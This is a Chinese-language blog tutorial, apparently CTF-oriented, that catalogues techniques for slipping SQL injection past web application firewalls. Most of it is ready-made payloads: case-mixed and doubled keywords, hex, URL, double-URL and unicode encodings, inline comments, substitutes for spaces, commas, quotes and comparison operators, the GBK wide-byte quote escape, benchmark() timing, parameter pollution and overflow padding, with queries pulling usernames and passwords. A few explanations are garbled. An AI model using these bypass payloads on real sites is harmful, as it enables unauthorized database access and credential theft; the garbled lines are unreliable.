接着上一篇文章讲一讲sql注入绕过
前言
select *
from user where id = 1 union select 1,2,table_name from information_schema.tables···
上面这条sql语句,是一条正常的SQL注入语句。它的斜体是后台PHP进行的正常查询,斜体后面的语句则是我们的注入语句。不过实践中,肯定会存在WAF,会对我们输入的空格、SQL语句关键词做处理。那我今天要研究的就是,如何绕过WAF的检测过滤。
常见的bypass
- id=1+(UnIoN)+(SelECT)+
- id=1+(UnIoN+SeLeCT)+
- id=1+(UnI)(oN)+(SeL)(EcT)
- id=1+’UnI’’On’+’SeL’’ECT’ <-MySQL only
- id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only
大小写绕过
常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。 例如:waf 过滤了关键字select,可以尝试使用Select等绕过。
1 | mysql> select * from users where id = -1 union select 1,2,3 |
双写关键字绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。
conv(,10,36)代替字母
conv(10,10,36)是大写的A
lower(conv(10,10,36/16s))小写的a
限制与from的组合
用 from. 代替 from
如果遇到表名或者字段名是保留字
这个时候最好使用点号连接表名和字段名,或者直接使用反引号包起来
利用mysql 的特性
- 当使用自定义的不存在函数的时候就会报错显示出库的名字
1
2mysql> select * from users where id =a();
ERROR 1305 (42000): FUNCTION security.a does not exist - 当查找重复的列的是时候就会报错
1 | pro_id=2 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C |
注意: MySQL是兼容两个列相同的但是却不兼容在这个基础上再select * from
在列名被过滤的情况下得到结果
要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可
1 | pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1; |
特殊编码绕过
- 十六进制绕过
1 | mysql> select * from users where username = 0x7465737431; |
ascii 编码绕过
Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
tip: 好像新版 mysql 不能用了
URLEncode编码,ASCII,HEX,unicode编码绕过
- URL编码:
or 1=1
即%6f%72%20%31%3d%31
- url双重编码;
?id=1%252f%252a\*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a\*/FROM%252f%252a\*/Users--+
- unicode编码
一些unicode编码举例:
单引号:’
1 | %u0027 %u02b9 %u02bc |
空白:
1 | %u0020 %uff00 |
左括号(:
1 | %u0028 %uff08 |
右括号):
1 | %u0029 %uff09 |
内联注释绕过
内联注释就是把一些特有的仅在 MYSQL 上的语句放在 /!…/ 中,这样这些语句如果在其它数据库中是不会被执行,但在 MYSQL 中会执行。
1 | mysql> select * from users where id = -1 union /*!select*/ 1,2,3; |
关键字替换
逗号绕过
substr、mid()函数中可以利用from to来摆脱对逗号的利用;
limit中可以利用offset来摆脱对逗号的利用
比较符号(>、<)绕过(greatest、between and)
过滤 or and xor not 绕过
1 | and = && |
空格过滤绕过
一般绕过空格过滤的方法有以下几种方法来取代空格
/**/
或者/*1*/
()
%0d %0a %0c %0b %a0
+
- 回车(url编码中的
%0a
) `
(tap键上面的按钮) (*
无法使用)- Tab
- 双写空格绕过
- 双写括号绕过
- 上面的编码试试
- 科学计数法绕过
select Afrom B 默认from前面必须是空格,因此为了不让你使用from可能正则表达式会检测前面的空格,我们可以用科学计数法绕过,因为1e0后面可以没有空格
select A,1E0fromB
这里的逗号是两列的意思 1e0占了第二列,同样,上面的1E0可以用1.0代替
\N
绕过 \N相当于NULL
select * from pass where id=\Nunion select 1,2, greatest((substr((select username from users limit 1 offset 0),1,1)),'v')in('v');
- id 与from在之间的空格绕过
select+id-1+1.from users;
select-id-1+3.from users;
注意:第二句得到的id将会是 -id+2
实例
1 | mysql> select/**/*/**/from/**/users; |
过滤等号 = 绕过
不加通配符的like
不加通配符的like执行的效果和=一致,所以可以用来绕过。
正常加上通配符的like:
1 | mysql> select * from users where username like "test%"; |
不加上通配符的like可以用来取代=:
1 | mysql> select * from users where id like 1; |
rlike
模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来 用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
1 | mysql> select * from users where id rlike 1; |
regexp
MySQL 中使用 REGEXP 操作符来进行正则表达式匹配
1 | mysql> select * from users where id regexp 1; |
使用大小于号来绕过
1 | mysql> select * from users where id > 1 and id < 3; |
<>
<> 等价于 != 所以在前面再加一个!结果就是等号了
1 | mysql> select * from users where !(id <> 1); |
等号绕过也可以使用 strcmp(str1,str2) 函数、between 关键字等,具体可以参考后面的过滤大小于号绕过
过滤大小于号绕过
在 sql 盲注中,一般使用大小于号来判断 ascii 码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过
greatest()
greatest(n1, n2, n3…): 返回 n 中的最大值
1 | mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116; |
least()
least(n1,n2,n3…): 返回 n 中的最小值
strcmp()
strcmp(str1,str2): 若所有的字符串均相同,则返回 STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
1 | mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117); |
in 关键字
1 | mysql> select * from users where id = 1 and substr(username,1,1) in ('t'); |
between a and b
between a and b: 范围在 a-b 之间
1 | mysql> select * from users where id between 1 and 2; |
使用 between a and b 判等
1 | mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't'; |
利用过滤删除绕过
比如说他过滤了/**/
(将其删除)又过滤了select那么我们可以这么写sel/**/ect.
意思就是被删除的可以加在另一个要删除的里面,这样不仅不会识别,删除后又还原了,实现绕过,这里面还包括双写被过滤字符的方法
+ - . 拆分字符串绕过
?id=1’ or ‘11+11’=’11+11’
-
和.
过滤引号绕过
使用十六进制
1 | select column_name from information_schema.tables where table_name=0x7573657273; |
宽字节
常用在 web 应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。
简单的讲一下,一般当引号被过滤就会在引号前加一个\,将其转义失去作用,这样我们就不能闭合引号完成注入了。但是如果他的字符集设置为了双字节,也就是说两个字符可以代表一个中文的情况,那么我们就可以构造成一个中文字,\的url是%27我们在引号前写上%df,那么%df%27构成了中文的繁体运,引号就没有被过滤,成功绕过。当然不只是%df只要在那个字符集的范围内都可以。如%bf%27 %df%27 %aa%27
过滤单引号时
1 | %bf%27 %df%27 %aa%27 |
过滤逗号绕过
sql 盲注时常用到以下的函数:
substr()
- substr(string, pos, len): 从 pos 开始,取长度为 len 的子串
- substr(string, pos): 从 pos 开始,取到 string 的最后
substring()
用法和substr()一样
mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的 pos 都是从 1 开始的
left() 和 right()
left(string, len) 和 right(string, len): 分别是从左或从右取 string 中长度为 len 的子串
limit
limit pos len: 在返回项中从 pos 开始去 len 个返回值,pos 的从 0 开始
ascii() 和 char()
- ascii(char): 把 char 这个字符转为 ascii 码
- char(ascii_int): 和 ascii() 的作用相反,将 ascii 码转字符
反引号绕过
可以用来过空格和正则,特殊情况下还可以将其做注释符用(单行或多行注释)实际上是mysql别名的用法详见大佬雨神的博客
举例
回到正题,如果 waf 过滤了逗号,并且只能盲注(盲注基本离不开逗号啊。。),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中 pos 代表从 pos 个开始读取 len 长度的子串 例如在substr()等函数中,常规的写法是
1 | mysql> select substr("string",1,3); |
如果过滤了逗号,可以这样使用from pos for len来取代
1 | mysql> select substr("string" from 1 for 3); |
在 sql 盲注中,如果过滤逗号,以下参考下面的写法绕过
1 | mysql> select ascii(substr(database() from 1 for 1)) > 120; |
也可使用join关键字来绕过
1 | mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c; |
其中的
union select * from (select 1)a join (select 2)b join(select 3)c
等价于union select 1,2,3
使用like关键字 适用于substr()等提取子串的函数中的逗号
1 | mysql> select ascii(substr(user(),1,1))=114; |
使用 offset 关键字 适用于limit中的逗号被过滤的情况 limit 2,1等价于limit 1 offset 2
1 | mysql> select * from users limit 2,1; |
过滤函数绕过
- sleep() –>benchmark()
1 | mysql> select 12,23 and sleep(1); |
MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。
BENCHMARK()函数重复countTimes次执行表达式expr,执行的时间长了,也达到了sleep的作用。
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
1 | mysql> select 12,23 and benchmark(1000000000,1); |
在sqlsever 中用 waitfor delay
在Oracle 中用 DBMS_PIPE.RECEIVE_MESSAGE()函数和CASEWHEN„THEN„语句
ascii()–>hex()、bin() 替代之后再使用对应的进制转 string 即可
group_concat()–>concat_ws()
1 | mysql> select group_concat("str1","str2"); |
substr(),substring(),mid() 可以相互取代, 取子串的函数还有 left(),right()
user() –> @@user、datadir–>@@datadir
ord()–>ascii(): 这两个函数在处理英文时效果一样,但是处理中文等时不一致。
hex()、bin()=ascii()
concat_ws()=group_concat()
mid()、substr()=substring()
@@user ==> user()
@@datadir ==> datadir()
@@version ==> version()
http参数污染
(id=1 union select+1,2,3+from+users+where+id=1–
变为1
id=1 union select+1&id=2,3+from+users+where+id=1– `)
第一个参数为分隔符
1 | mysql> select concat_ws(",","str1","str2"); |
缓冲区溢出绕过
1 | (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ |
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。一般会存在临界值其实这种方法还对后缀名的绕过也有用)